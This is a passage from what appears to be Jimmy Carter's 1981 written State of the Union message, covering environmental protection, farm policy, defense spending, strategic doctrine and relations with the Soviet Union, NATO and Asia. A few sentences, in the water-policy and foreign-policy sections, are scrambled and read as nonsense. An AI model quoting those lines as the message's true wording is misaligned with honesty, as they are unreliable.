natural resources are our environment and\nour vast agricultural capacity. From the beginning of my Administration, I\nhave worked with the Congress to enhance and protect, as well as develop\nour natural resources. In the environmental areas, I have been especially\nconcerned about the importance of balancing the need for resource\ndevelopment with preserving a clean environment, and have taken numerous\nactions to foster this goal. In the agricultural area, I have taken the\nsteps needed to improve farm incomes and to increase our agricultural\nproduction to record levels. That progress must be continued in the 1980's.ENVIRONMENTPreserving the quality of our environment has been among the most important\nobjectives of my Administration and of the Congress. As a result of these\nshared commitments and the dedicated efforts of many members of the\nCongress and my Administration, we have achieved several historic\naccomplishments.PROTECTION OF ALASKA LANDSPassage of the Alaska National Interest Lands Conservation Act was one of\nthe most important conservation actions of this century. At stake was the\nfate of millions of acres of beautiful land, outstanding and unique\nwildlife populations, native cultures, and the opportunity to ensure that\nfuture generations of Americans would be able to enjoy the benefits of\nthese nationally significant resources. As a result of the leadership,\ncommitment, and persistence of my Administration and the Congressional\nleadership, the Alaska Lands Bill was signed into law last December.The Act adds 97 million acres of new parks and refuges, more than doubling\nthe size of our National Park and National Wildlife Refuge Systems. The\nbill triples the size of our national wilderness system, increasing its\nsize by 56 million acres. And by adding 25 free-flowing river segments to\nthe Wild and Scenic River System, the bill almost doubles the river mileage\nin that system. The Alaska Lands Act reaffirms our commitment to the\nenvironment and strikes a balance between protecting areas of great beauty\nand allowing development of Alaska's oil, gas, mineral, and timber\nresources.PROTECTION OF NATURAL RESOURCESIn addition to the Alaska Lands Act, over the past four years we have been\nable to expand significantly the national wilderness and parks systems. In\n1978, the Congress passed the historical Omnibus Parks Act, which made 12\nadditions to the National Park System. The Act also established the first\ntwo national trails since the National Trails System Act was passed in\n1968. Then, in 1980, as a result of my 1979 Environmental Message, the\nFederal land management agencies have established almost 300 new National\nRecreational Trails. With the completion of the RARE II process, which\neliminated the uncertainty surrounding the status of millions of acres of\nland, we called for over 15 million acres of new wilderness in the nation's\nNational Forest, in 1980 the Congress established about 4.5 million acres\nof wilderness in the lower 48 states. In addition, the Administration\nrecommended legislation to protect Lake Tahoe, and through an Executive\nOrder has already established a mechanism to help ensure the Lake's\nprotection. Finally, in 1980 the Administration established the Channel\nIslands Marine Sanctuary.Administration actions over the past four years stressed the importance of\nproviding Federal support only for water resource projects that are\neconomically and environmentally sound. This policy should have a major and\nlasting influence on the federal government's role in water resource\ndevelopment and management. The Administration's actions to recommend to\nthe Congress only economically and environmentally sound water resource\nprojects for funding resulted not only in our opposing uneconomic projects\nbut also, in 1979, in the first Administration proposal of new project\nstarts in 4 years.One of the most significant water policy actions of the past four years was\nthe Administration's June 6, 1978 Water Policy Reform Message to the\nCongress. This Message established a new national water resources policy\nwith the following objectives:--to give priority emphasis to water conservation;--to consider environmental requirements and values more fully and along\nwith economic factors in the planning and management of water projects and\nprograms;--to enhance cooperation between state and federal agencies in water\nresources planning and management.In addition, the Executive Office of the President established 11 policy\ndecision criteria to evaluate the proposed federal water projects, the\nWater Resources Council developed and adopted a new set of Principles and\nStandards for water projects which is binding on all federal construction\nagencies, and improved regulations were developed to implement the National\nHistoric Preservation Act and the Fish and Wildlife Coordination Act. As a\nresult, water resource projects must be determined to be economically sound\nbefore the Administration will recommend authorization or appropriation.\nOver the years ahead, this policy will help to reduce wasteful federal\nspending by targeting federal funds to the highest priority water resource\nprojects.In the pursuit of this policy, however, we cannot lose projects. In the\npart that sound water resource projects play in providing irrigation,\npower, and flood control. We must also recognize the special needs of\nparticular regions of the country in evaluating the need for additional\nprojects.ADDRESSING GLOBAL RESOURCE AND ENVIRONMENTAL PROBLEMSThe Global 2000 Report to the President, prepared in response to my 1977\nEnvironment Message, is the first of its kind. Never before has our\ngovernment, or any government, taken such a comprehensive, long-range look\nat the interrelated global issues of resources, population, and\nenvironment.The Report's conclusions are important. They point to a rapid increase in\npopulation and human needs through the year 2000 while at the same time a\ndecline in the earth's capacity to meet those needs, unless nations of the\nworld act decisively to alter current trends.The United States has contributed actively to a series of U.N. conferences\non the environment, population, and resources, and is preparing for\nthe 1981 Conference on New and Renewable Sources of Energy. Following my\n1977 Environmental Message, the Administration development assistance\nprograms have added emphasis to natural resource management and\nenvironmental protection. My 1979 Environmental Message called attention to\nthe alarming loss of world forests, particularly in the tropics. An\ninteragency task force on tropical forests has developed a U.S. government\nprogram to encourage conservation and wise management of tropical forests.\nThe Administration is encouraging action by other nations and world\norganizations to the same purpose. The United States is a world leader in\nwildlife conservation and the assessment of environmental effects of\ngovernment actions. The January 5, 1979, Executive Order directing U.S.\ngovernment agencies to consider the effects of their major actions abroad,\nis another example of this leadership.COMMITMENT TO CONTROL OF POLLUTION AND HAZARDOUS CHEMICALSOver the past four years, there has been steady progress towards cleaner\nair and water, sustained by the commitment of Congress and the\nAdministration to these important national objectives. In addition, the\nAdministration has developed several new pollution compliance approaches\nsuch as alternative and innovative waste water treatment projects, the\n\"bubble\" concept, the \"offset\" policy, and permit consolidation, all of\nwhich are designed to reduce regulatory burdens on the private sector.One of the most pressing problems to come to light in the past four years\nhas been improper hazardous waste disposal. The Administration has moved on\nthree fronts. First, we proposed the Oil Hazardous Substances and Hazardous\nWaste Response, Liability and Compensation Act (the Superfund bill) to\nprovide comprehensive authority and $1.6 billion in funds to clean up\nabandoned hazardous waste disposal sites. In November 1980 the Congress\npassed a Superfund bill which I signed into law.Second, the administration established a hazardous waste enforcement strike\nforce to ensure that when available, responsible parties are required to\nclean up sites posing dangers to public health and to the environment. To\ndate, 50 lawsuits have been brought by the strike force.Third, regulations implementing subtitle C of the Resource Conservation and\nRecovery Act were issued. The regulations establish comprehensive controls\nfor hazardous waste and, together with vigorous enforcement, will help to\nensure that Love Canal will not be repeated.THE FUTUREFor the future, we cannot, and we must not, forget that we are charged with\nthe stewardship of an irreplaceable environment and natural heritage. Our\nchildren, and our children's children, are dependent upon our maintaining\nour commitment to preserving and enhancing the quality of our environment.\nIt is my hope that when our descendants look back on the 1980's they will\nbe able to affirm:--that we kept our commitment to the restoration of environmental\nquality;--that we protected the public health from the continuing dangers of toxic\nchemicals, from pollution, from hazardous and radioactive waste, and that\nwe made our communities safer, healthier and better places to live;--that we preserved America's wilderness areas and particularly its last\ngreat frontier, Alaska, for the benefit of all Americans in perpetuity;--that we put this nation on a path to a sustainable energy future, one\nbased increasingly on renewable resources and on energy conservation;--that we moved to protect America's countryside and coastland from\nmismanagement and irresponsibility;--that we redirected the management of the nation's water resources toward\nwater conservation, sound development and environmental protection;--that we faced squarely such worldwide problems as the destruction of\nforests, acid rain, carbon dioxide build-up and nuclear proliferation; and--that we protected the habitat and the existence of our own species on\nthis earth.AGRICULTURE THE FARM ECONOMYThe farm economy is sound and its future is bright. Agriculture remains a\nmajor bulwark of the nation's economy and an even more important factor in\nthe world food system. The demand for America's agricultural abundance,\nhere and abroad, continues to grow. In the near-term, the strength of this\ndemand is expected to press hard against supplies, resulting in continued\nprice strength.The health and vitality of current-day agriculture represents a significant\ndeparture from the situation that existed when I came to office four years\nago. In January 1977, the farm economy was in serious trouble. Farm prices\nand farm income were falling rapidly. Grain prices were at their lowest\nlevels in years and steadily falling. Livestock producers, in their fourth\nstraight year of record losses, were liquidating breeding herds at an\nunparalleled rate. Dairy farmers were losing money on every hundredweight\nof milk they produced. Sugar prices were in a nosedive.Through a combination of improvements in old, established programs and the\nadoption of new approaches where innovation and change were needed, my\nAdministration turned this situation around. Commodity prices have steadily\nrisen. Farm income turned upward. U.S. farm exports set new records each\nyear, increasing over 80 percent for the four year period. Livestock\nproducers began rebuilding their herds. Dairy farmers began to earn a\nprofit again.RECENT POLICY INITIATIVESSeveral major agricultural policy initiatives have been undertaken over the\npast year. Some are the culmination of policy proposals made earlier in\nthis Administration; others are measures taken to help farmers offset the\nimpact of rapid inflation in production costs. In combination, they\nrepresent a significant strengthening of our nation's food and agricultural\npolicy. These initiatives include:FOOD SECURITY RESERVEThe Congress authorized formation of a 4 million ton food grain reserve for\nuse in international food assistance. This reserve makes it possible for\nthe United States to stand behind its food aid commitment to food deficit\nnations, even during periods of short supplies and high prices. This\ncorrects a serious fault in our past food assistance policy.COMPREHENSIVE CROP INSURANCEThe Congress also authorized a significant new crop insurance program\nduring 1980. This measure provides farmers with an important new program\ntool for sharing the economic risks that are inherent to agriculture. When\nfully operational, it will replace a hodgepodge of disaster programs that\nsuffered from numerous shortcomings.SPECIAL LOAN RATESAnother legislative measure passed late in the 2nd session of the 96th\nCongress authorizes the Secretary of Agriculture to provide higher loan\nrates to farmers who enter their grain in the farmer-owned grain reserve.\nThis additional incentive to participate will further strengthen the\nreserve.INCREASED LOAN PRICESIn July 1980, I administratively raised loan prices for wheat, feedgrains,\nand soybeans to help offset the effects of a serious cost-price squeeze. At\nthe same time, the release and call prices for the grain reserve were\nadjusted upward.HIGHER TARGET PRICESThe Agricultural Adjustment Act of 1980 raised the target prices for\n1980-crop wheat and feed grain crops. This change corrected for\nshortcomings in the adjustment formula contained in the Food and\nAgriculture Act of 1977.FUTURE AGENDAThe food and agricultural policies adopted by this Administration over the\npast four years, including those described above, will provide a firm\nfoundation for future governmental actions in this field. Expiration of the\nFood and Agriculture Act of 1977 later this year will require early\nattention by the Congress. With relatively minor changes, most of the\nauthorities contained in the 1977 Act should be extended in their present\nform. The farmer-owned grain reserve has proven to be a particularly\neffective means of stabilizing grain markets and should be preserved in\nessentially its present form.Beyond this, it will be important for the Congress to keep a close eye on\nprice-cost developments in the farm sector. As noted above, some of the\nactions I took last year were for the purpose of providing relief from the\ncost-price squeeze facing farmers. Should these pressures continue, further\nactions might be required.My Administration has devoted particular attention to the issues of world\nhunger, agricultural land use, and the future structure of American\nagriculture. I encourage the Congress and the next Administration to review\nthe results of these landmark enquiries and, where deemed appropriate, to\nact on their recommendations.Following a careful review of the situation, I recently extended the\nsuspension of grain sales to the Soviet Union. I am satisfied that this\naction has served its purpose effectively and fairly. However, as long as\nthis suspension must remain in effect, it will be important for the next\nAdministration and the Congress to take whatever actions are necessary to\nensure that the burden does not fall unfairly on our Nation's farmers. This\nhas been a key feature of my Administration's policy, and it should be\nmaintained.VII. FOREIGN POLICYFrom the time I assumed office four years ago this month, I have stressed\nthe need for this country to assert a leading role in a world undergoing\nthe most extensive and intensive change in human history.My policies have been directed in particular at three areas of change:--the steady growth and increased projection abroad of Soviet military\npower, power that has grown faster than our own over the past two decades.--the overwhelming dependence of Western nations, which now increasingly\nincludes the United States, on vital oil supplies from the Middle East.--the pressures of change in many nations of the developing world, in Iran\nand uncertainty about the future stability of many developing countries.As a result of those fundamental facts, we face some of the most serious\nchallenges in the history of this nation. The Soviet invasion of\nAfghanistan is a threat to global peace, to East-West relations, and to\nregional stable flow of oil. As the unprecedented relations, an and\noverwhelming vote in the General Assembly demonstrated, countries across\nthe world, and particularly the nonaligned, regard the Soviet invasion as a\nthreat to their independence and security. Turmoil within the region\nadjacent to the Persian Gulf poses risks for the security and prosperity of\nevery oil importing nation and thus for the entire global economy. The\ncontinuing holding of American hostages in Iran is both an affront to\ncivilized people everywhere, and a serious impediment to meeting the\nself-evident threat to widely-shared common interests, including those of\nIran.But as we focus our most urgent efforts on pressing problems, we will\ncontinue to pursue the benefits that only change can bring. For it always\nhas been the essence of America that we want to move on, we understand that\nprosperity, progress and most of all peace cannot be had by standing still.\nA world of nations striving to preserve their independence, and of peoples\naspiring for economic development and political freedom, is not a world\nhostile to the ideals and interests of the United States. We face powerful\nadversaries, but we have strong friends and dependable allies. We have\ncommon interests with the vast majority of the world's nations and\npeoples.There have been encouraging developments in recent years, as well as\nmatters requiring continued vigilance and concern:--Our alliances with the world's most advanced and democratic states from\nWestern Europe through Japan are stronger than ever.--We have helped to bring about a dramatic improvement in relations\nbetween Egypt and Israel and an historic step towards a comprehensive\nArab-Israeli settlement.--Our relations with China are growing closer, providing a major new\ndimension in our policy in Asia and the world.--Across southern Africa from Rhodesia to Namibia we are helping with the\npeaceful transition to majority rule in a context of respect for minority\nas well as majority rights.--We have worked domestically and with our allies to respond to an\nuncertain energy situation by conservation and diversification of energy\nsupplies based on internationally agreed targets.--We have unambiguously demonstrated our commitment to defend Western\ninterests in Southwest Asia, and we have significantly increased our\nability to do so.--And over the past four years the U.S. has developed an energy program\nwhich is comprehensive and ambitious. New institutions have been\nestablished such as the Synthetic Fuels Corporation and Solar Bank. Price\ndecontrol for oil and gas is proceeding. American consumers have risen to\nthe challenge, and we have experienced real improvements in consumption\npatterns.The central challenge for us today is to our steadfastedness of purpose. We\nare no longer tempted by isolationism. But we must also learn to deal\neffectively with the contradictions of the world, the need to cooperate\nwith potential adversaries without euphoria, without undermining our\ndetermination to compete with such adversaries and if necessary confront\nthe threats they may pose to our security.We face a broad range of threats and opportunities. We have and should\ncontinue to pursue a broad range of defense, diplomatic and economic\ncapabilities and objectives.I see six basic goals for America in the world over the 1980's:--First, we will continue, as we have over the past four years, to build\nAmerica's military strength and that of our allies and friends. Neither the\nSoviet Union nor any other nation will have reason to question our will to\nsustain the strongest and most flexible defense forces.--Second, we will pursue an active diplomacy in the world, working,\ntogether with our friends and allies, to resolve disputes through peaceful\nmeans and to make any aggressor pay a heavy price.--Third, we will strive to resolve pressing international economic\nproblems, particularly energy and inflation, and continue to pursue our\nstill larger objective of global economic growth through expanded trade and\ndevelopment assistance and through the preservation of an open multilateral\ntrading system.--Fourth, we will continue vigorously to support the process of building\ndemocratic institutions and improving human rights protection around the\nworld. We are deeply convinced that the future lies not with dictatorship\nbut democracy.--Fifth, we remain deeply committed to the process of mutual and\nverifiable arms control, particularly to the effort to prevent the spread\nand further development of nuclear weapons. Our decision to defer, but not\nabandon our efforts to secure ratification of the SALT II Treaty reflects\nour firm conviction that the United States has a profound national\nsecurity interest in the constraints on Soviet nuclear forces which only\nthat treaty can provide.--Sixth, we must continue to look ahead in order to evaluate and respond\nto resource, environment and population challenges through the end of this\ncentury.One very immediate and pressing objective that is uppermost on our minds\nand those of the American people is the release of our hostages in Iran.We have no basic quarrel with the nation, the revolution or the people\nof Iran. The threat to them comes not from American policy but from Soviet\nactions in the region. We are prepared to work with the government of Iran\nto develop a new and mutually beneficial relationship.But that will not be possible so long as Iran continues to hold Americans\nhostages, in defiance of the world community and civilized behavior. They\nmust be released unharmed. We have thus far pursued a measured program of\npeaceful diplomatic and economic steps in an attempt to resolve this issue\nwithout resorting to other remedies available to us under international\nlaw. This reflects the deep respect of our nation for the rule of law and\nfor the safety of our people being held, and our belief that a great power\nbears a responsibility to use its strength in a measured and judicious\nmanner. But our patience is not unlimited and our concern for the\nwell-being of our fellow citizens grows each day.ENHANCING NATIONAL SECURITY, AMERICAN MILITARY STRENGTHThe maintenance of national security is my first concern, as it has been\nfor every president before me.We must have both the military power and the political will to deter our\nadversaries and to support our friends and allies.We must pay whatever price is required to remain the strongest nation in\nthe world. That price has increased as the military power of our major\nadversary has grown and its readiness to use that power been made all too\nevident in Afghanistan. The real increases in defense spending, therefore\nprobably will be higher than previously projected; protecting our security\nmay require a larger share of our national wealth in the future.THE U.S.-SOVIET RELATIONSHIPWe are demonstrating to the Soviet Union across a broad front that it will\npay a heavy price for its aggression in terms of our relationship.\nThroughout the last decades U.S.-Soviet relations have been a mixture of\ncooperation and competition. The Soviet invasion of Afghanistan and the\nimposition of a puppet government have highlighted in the starkest terms\nthe darker side of their policies, going well beyond competition and the\nlegitimate pursuit of national interest, and violating all norms of\ninternational law and practice.This attempt to subjugate an independent, non-aligned Islamic people is a\ncallous violation of international law and the United Nations Charter, two\nfundamentals of international order. Hence, it is also a dangerous threat\nto world peace. For the first time since the communization of Eastern\nEurope after World War II, the Soviets have sent combat forces into an area\nthat was not previously under their control, into a non-aligned and\nsovereign state.The destruction of the independence of the Afghanistan government and the\noccupation by the Soviet Union have altered the strategic situation in that\npart of the world in a very ominous fashion. It has significantly shortened\nthe striking distance to the Indian Ocean and the Persian Gulf for the\nSoviet Union.It has also eliminated a buffer between the Soviet Union and Pakistan and\npresented a new threat to Iran. These two countries are now far more\nvulnerable to Soviet political intimidation. If that intimidation were to\nprove effective, the Soviet Union could control an area of vital strategic\nand economic significance to the survival of Western Europe, the Far East,\nand ultimately the United States.It has now been over a year since the Soviet invasion of Afghanistan dealt\na major blow to U.S.-Soviet relations and the entire international system.\nThe U.S. response has proven to be serious and far-reaching. It has been\nincreasingly effective, imposing real and sustained costs on the U.S.S.R.'s\neconomy and international image.Meanwhile, we have encouraged and supported efforts to reach a political\nsettlement in Afghanistan which would lead to a withdrawal of Soviet forces\nfrom that country and meet the interests of all concerned. It is Soviet\nintransigence that has kept those efforts from bearing fruit.Meanwhile, an overwhelming November resolution of the United Nations\nGeneral Assembly on Afghanistan has again made clear that the world has not\nand will not forget Afghanistan. And our response continues to make it\nclear that Soviet use of force in pursuit of its international objectives\nis incompatible with the notion of business-as-usual.BILATERAL COMMUNICATIONU.S.-Soviet relations remain strained by the continued Soviet presence in\nAfghanistan, by growing Soviet military capabilities, and by the Soviets'\napparent willingness to use those capabilities without respect for the most\nbasic norms of international behavior.But the U.S.-Soviet relationship remains the single most important element\nin determining whether there will be war or peace. And so, despite serious\nstrains in our relations, we have maintained a dialogue with the Soviet\nUnion over the past year. Through this dialogue, we have ensured against\nbilateral misunderstandings and miscalculations which might escalate out of\ncontrol, and have managed to avoid the injection of superpower rivalries\ninto areas of tension like the Iran-Iraq conflict.POLANDNow, as was the case a year ago, the prospect of Soviet use of force\nthreatens the international order. The Soviet Union has completed\npreparations for a possible military intervention against Poland. Although\nthe situation in Poland has shown signs of stabilizing recently, Soviet\nforces remain in a high state of readiness and they could move into Poland\non short notice. We continue to believe that the Polish people should be\nallowed to work out their internal problems themselves, without outside\ninterference, and we have made clear to the Soviet leadership that any\nintervention in Poland would have severe and prolonged consequences for\nEast-West detente, and U.S.-Soviet relations in particular.DEFENSE BUDGETFor many years the Soviets have steadily increased their real defense\nspending, expanded their strategic forces, strengthened their forces in\nEurope and Asia, and enhanced their capability for projecting military\nforce around the world directly or through the use of proxies. Afghanistan\ndramatizes the vastly increased military power of the Soviet Union.The Soviet Union has built a war machine far beyond any reasonable\nrequirements for their own defense and security. In contrast, our own\ndefense spending declined in real terms every year from 1968 through 1976.We have reversed this decline in our own effort. Every year since 1976\nthere has been a real increase in our defense spending, and our lead has\nencouraged increases by our allies. With the support of the Congress, we\nmust and will make an even greater effort in the years ahead.The Fiscal Year 1982 budget would increase funding authority for defense to\nmore than $196 billion. This amount, together with a supplemental request\nfor FY 1981 of about $6 billion, will more than meet my Administration's\npledge for a sustained growth of 3 percent in real expenditures, and\nprovides for 5 percent in program growth in FY 1982 and beyond.The trends we mean to correct cannot be remedied overnight; we must be\nwilling to see this program through. To ensure that we do so I am setting a\ngrowth rate for defense that we can sustain over the long haul.The defense program I have proposed for the next five years will require\nsome sacrifice, but sacrifice we can well afford.The defense program emphasizes four areas:1. It ensures that our strategic nuclear forces will be equivalent to those\nof the Soviet Union and that deterrence against nuclear war will be\nmaintained; 2. It upgrades our forces so that the military balance between\nNATO and the Warsaw Pact will continue to deter the outbreak of war,\nconventional or nuclear, in Europe; 3. It provides us the ability to come\nquickly to the aid of friends and allies around the globe; 4. And it ensures\nthat our Navy will continue to be the most powerful on the seas.STRATEGIC FORCESWe are strengthening each of the three legs of our strategic forces. The\ncruise missile production which will begin next year will modernize our\nstrategic air deterrent. B-52 capabilities will also be improved. These\nsteps will maintain and enhance the B-52 fleet by improving its ability to\ndeliver weapons against increasingly heavily defended targets.We are also modernizing our strategic submarine force. Four more POSEIDON\nsubmarines backfitted with new, 4,000 mile TRIDENT I missiles began\ndeployments in 1980. Nine TRIDENT submarines have been authorized through\n1981, and we propose one more each year.The new M-X missile program to enhance our land-based intercontinental\nballistic missile force continues to make progress. Technical refinements\nin the basing design over the last year will result in operational\nbenefits, lower costs, and reduced environmental impact. The M-X program\ncontinues to be an essential ingredient in our strategic posture, providing\nsurvivability, endurance, secure command and control and the capability to\nthreaten targets the Soviets hold dear.Our new systems will enable U.S. strategic forces to maintain equivalence\nin the face of the mounting Soviet challenge. We would however need an even\ngreater investment in strategic systems to meet the likely Soviet buildup\nwithout SALT.STRATEGIC DOCTRINEThis Administration's systematic contributions to the necessary evolution\nof strategic doctrine began in 1977 when I commissioned a comprehensive net\nassessment. From that base a number of thorough investigations of specific\ntopics continued. I should emphasize that the need for an evolutionary\ndoctrine is driven not by any change in our basic objective, which remains\npeace and freedom for all mankind. Rather, the need for change is driven by\nthe inexorable buildup of Soviet military power and the increasing\npropensity of Soviet leaders to use this power in coercion and outright\naggression to impose their will on others.I have codified our evolving strategic doctrine in a number of interrelated\nand mutually supporting Presidential Directives. Their overarching theme is\nto provide a doctrinal basis, and the specific program to implement it,\nthat tells the world that no potential adversary of the United States could\never conclude that the fruits of his aggression would be significant or\nworth the enormous costs of our retaliation.The Presidential Directives include:PD-18: An overview of our strategic objectives PD-37: Basic space policy\nPD-41: Civil Defense PD-53: Survivability and endurance for\ntelecommunications PD-57: Mobilization planning PD-58: Continuity of\nGovernment PD-59: Countervailing Strategy for General War.These policies have been devised to deter, first and foremost, Soviet\naggression. As such they confront not only Soviet military forces but also\nSoviet military doctrine. By definition deterrence requires that we shape\nSoviet assessments about the risks of war, assessments they will make using\ntheir doctrine, not ours.But at the same time we in no way seek to emulate their doctrine. In\nparticular, nothing in our policy contemplates that nuclear warfare could\never be a deliberate instrument for achieving our own goals of peace and\nfreedom. Moreover, our policies are carefully devised to provide the\ngreatest possible incentives and opportunities for future progress in arms\ncontrol.Finally, our doctrinal evolution has been undertaken with appropriate\nconsultation with our NATO Allies and others. We are fully consistent with\nNATO's strategy of flexible response.FORCES FOR NATOWe are greatly accelerating our ability to reinforce Western Europe with\nmassive ground and air forces in a crisis. We are undertaking a major\nmodernization program for the Army's weapons and equipment, adding armor,\nfirepower, and tactical mobility.We are prepositioning more heavy equipment in Europe to help us cope with\nattacks with little warning, and greatly strengthening our airlift and\nsealift capabilities.We are also improving our tactical air forces, buying about 1700 new\nfighter and attack aircraft over the next five years, and increasing the\nnumber of Air Force fighter wings by over 10 percent.We are working closely with our European allies to secure the Host Nation\nSupport necessary to enable us to deploy more quickly a greater ratio of\ncombat forces to the European theater at a lower cost to the United\nStates.SECURITY ASSISTANCEAs we move to enhance U.S. defense capabilities, we must not lose sight of\nthe need to assist others in maintaining their own security and\nindependence. Events since World War II, most recently in Southwest Asia,\nhave amply demonstrated that U.S. security cannot exist in a vacuum, and\nthat our own prospects for peace are closely tied to those of our friends.\nThe security assistance programs which I am proposing for the coming fiscal\nyear thus directly promote vital U.S. foreign policy and national security\naims, and are integral parts of our efforts to improve and upgrade our own\nmilitary forces.More specifically, these programs, which are part of our overall foreign\naid request, promote U.S. security in two principal ways. First, they\nassist friendly and allied nations to develop the capability to defend\nthemselves and maintain their own independence. An example during this past\nyear was the timely support provided Thailand to help bolster that\ncountry's defenses against the large numbers of Soviet-backed Vietnamese\ntroops ranged along its eastern frontier. In addition, over the years these\nprograms have been important to the continued independence of other friends\nand allies such as Israel, Greece, Turkey and Korea. Second, security\nassistance constitutes an essential element in the broad cooperative\nrelationships we have established with many nations which permit either\nU.S. bases on their territory or access by U.S. forces to their facilities.\nThese programs have been particularly important with regard to the\nrecently-concluded access agreements with various countries in the Persian\nGulf and Indian Ocean regions and have been crucial to the protection of\nour interests throughout Southwest Asia.RAPID DEPLOYMENT FORCESWe are systematically enhancing our ability to respond rapidly to non-NATO\ncontingencies wherever required by our commitments or when our vital\ninterests are threatened.The rapid deployment forces we are assembling will be extraordinarily\nflexible: They could range in size from a few ships or air squadrons to\nformations as large as 100,000 men, together with their support. Our forces\nwill be prepared for rapid deployment to any region of strategic\nsignificance.Among the specific initiatives we are taking to help us respond to crises\noutside of Europe are:The development of a new fleet of large cargo aircraft with\nintercontinental range; the design and procurement of a force of Maritime\nPrepositioning Ships that will carry heavy equipment and supplies for three\nMarine Corps brigades; the procurement of fast sealift ships to move large\nquantities of men and material quickly from the U.S. to overseas areas of\ndeployment; increasing training and exercise activities to ensure that our\nforces will be well prepared to deploy and operate in distant areas.In addition, our European allies have agreed on the importance of providing\nsupport to U.S. deployments to Southwest Asia.NAVAL FORCESSeapower is indispensable to our global position, in peace and also in war.\nOur shipbuilding program will sustain a 550-ship Navy in the 1990's and we\nwill continue to build the most capable ships afloat.The program I have proposed will assure the ability of our Navy to operate\nin high threat areas, to maintain control of the seas and protect vital\nlines of communication, both military and economic and to provide the\nstrong maritime component of our rapid deployment forces. This is essential\nfor operations in remote areas of the world, where we cannot predict far in\nadvance the precise location of trouble, or preposition equipment on land.MILITARY PERSONNELNo matter how capable or advanced our weapons systems, our military\nsecurity depends on the abilities, the training and the dedication of the\npeople who serve in our armed forces. I am determined to recruit and to\nretain under any foreseeable circumstances an ample level of such skilled\nand experienced military personnel. This Administration has supported for\nFY 1981 the largest peacetime increase ever in military pay and\nallowances.We have enhanced our readiness and combat endurance by improving the\nReserve Components. All reservists are assigned to units structured to\ncomplement and provide needed depth to our active forces. Some reserve\npersonnel have also now been equipped with new equipment.MOBILIZATION PLANNINGWe have completed our first phase of mobilization planning, the first such\nPresidentially-directed effort since World War II. The government-wide\nexercise of our mobilization plans at the end of 1980 showed, first, that\nplanning pays off and, second, that much more needs to be done.OUR INTELLIGENCE POSTUREOur national interests are critically dependent on a strong and effective\nintelligence capability. We will maintain and strengthen the intelligence\ncapabilities needed to assure our national security. Maintenance of and\ncontinued improvements in our multi-faceted intelligence effort are\nessential if we are to cope successfully with the turbulence and\nuncertainties of today's world.The intelligence budget I have submitted to the Congress responds to our\nneeds in a responsible way, providing for significant growth over the\nFiscal Year 1981 budget. This growth will enable us to develop new\ntechnical means of intelligence collection while also assuring that the\nmore traditional methods of intelligence work are also given proper stress.\nWe must continue to integrate both modes of collection in our analyses.REGIONAL POLICIESEvery President for over three decades has recognized that America's\ninterests are global and that we must pursue a global foreign policy.Two world wars have made clear our stake in Western Europe and the North\nAtlantic area. We are also inextricably linked with the Far East,\npolitically, economically, and militarily. In both of these, the United\nStates has a permanent presence and security commitments which would be\nautomatically triggered. We have become increasingly conscious of our\ngrowing interests in a third area, the Middle East and the Persian Gulf\narea.We have vital stakes in other major regions of the world as well. We have\nlong recognized that in an era of interdependence, our own security and\nprosperity depend upon a larger common effort with friends and allies\nthroughout the world.THE ATLANTIC ALLIANCEIn recognition of the threat which the Soviet invasion of Afghanistan posed\nto Western interests in both Europe and Southwest Asia, NATO foreign and\ndefense ministers have expressed full support for U.S. efforts to develop a\ncapability to respond to a contingency in Southwest Asia and have approved\nan extensive program to help fill the gap which could be created by the\ndiversion of U.S. forces to that region.The U.S. has not been alone in seeking to maintain stability in the\nSouthwest Asia area and insure access to the needed resources there. The\nEuropean nations with the capability to do so are improving their own\nforces in the region and providing greater economic and political support\nto the residents of the area. In the face of the potential danger posed by\nthe Iran-Iraq conflict, we have developed coordination among the Western\nforces in the area of the Persian Gulf in order to be able to safeguard\npassage in that essential waterway.Concerning developments in and around Poland the allies have achieved the\nhighest level of cohesion and unity of purpose in making clear the effects\non future East-West relations of a precipitous Soviet act there.The alliance has continued to build on the progress of the past three years\nin improving its conventional forces through the Long-Term Defense Program.\nThough economic conditions throughout Europe today are making its\nachievement difficult, the yearly real increase of 3 percent in defense\nspending remains a goal actively sought by the alliance.The NATO alliance also has moved forward during the past year with the\nimplementation of its historic December 1979 decision to modernize its\nTheater Nuclear Force capabilities through deployment of improved Pershing\nballistic missiles and ground-launched cruise missiles in Europe. Our\nallies continue to cooperate actively with us in this important joint\nendeavor, whose purpose is to demonstrate convincingly to the Soviet Union\nthe potential costs of a nuclear conflict in Europe. At the same time, we\noffered convincing evidence of our commitment to arms control in Europe by\ninitiating preliminary consultations with the Soviet Union in Geneva on the\nsubject of negotiated limits on long-range theater nuclear forces. Also,\nduring 1980 we initiated and carried out a withdrawal from our nuclear\nweapons stockpile in Europe of 1,000 nuclear warheads. This successful\ndrawdown in our nuclear stockpile was a further tangible demonstration of\nour commitment to the updating of our existing theater nuclear forces in\nEurope.In the NATO area, we continued to work closely with other countries in\nproviding resources to help Turkey regain economic health. We regretted\nthat massive political and internal security problems led the Turkish\nmilitary to take over the government on September 12. The new Turkish\nauthorities are making some progress in resolving those problems, and they\nhave pledged an early return to civilian government. The tradition of the\nTurkish military gives us cause to take that pledge seriously. We welcomed\nthe reestablishment of Greece's links to the integrated military command\nstructure of the Atlantic Alliance--a move which we had strongly\nencouraged--as a major step toward strengthening NATO's vital southern\nflank at a time of international crisis and tension in adjacent areas.\nGreek reintegration exemplifies the importance which the allies place on\ncooperating in the common defense and shows that the allies can make the\ndifficult decisions necessary to insure their continued security. We also\nwelcomed the resumption of the intercommunal talks on Cyprus.THE U.S. AND THE PACIFIC NATIONSThe United States is a Pacific nation, as much as it is an Atlantic nation.\nOur interests in Asia are as important to us as our interests in Europe.\nOur trade with Asia is as great as our trade with Europe. During the past\nfour years we have regained a strong, dynamic and flexible posture for the\nUnited States in this vital region.Our major alliances with Japan, Australia and New Zealand are now stronger\nthan they ever have been, and together with the nations of western Europe,\nwe have begun to form the basic political structure for dealing with\ninternational crises that affect us all. Japan, Australia and New Zealand\nhave given us strong support in developing a strategy for responding to\ninstability in the Persian Gulf.Normalization of U.S. relations with China has facilitated China's full\nentry into the international community and encouraged a constructive\nChinese role in the Asia-Pacific region. Our relations with China have been\nrapidly consolidated over the past year through the conclusion of a series\nof bilateral agreements. We have established a pattern of frequent and\nfrank consultations between our two governments, exemplified by a series of\nhigh-level visits and by regular exchanges at the working level, through\nwhich we have been able to identify increasingly broad areas of common\ninterest on which we can cooperate.United States relations with the Association of Southeast Asian Nations\n(ASEAN) have also expanded dramatically in the past four years. ASEAN is\nnow the focus for U.S. policy in Southeast Asia, and its cohesion and\nstrength are essential to stability in this critical area and 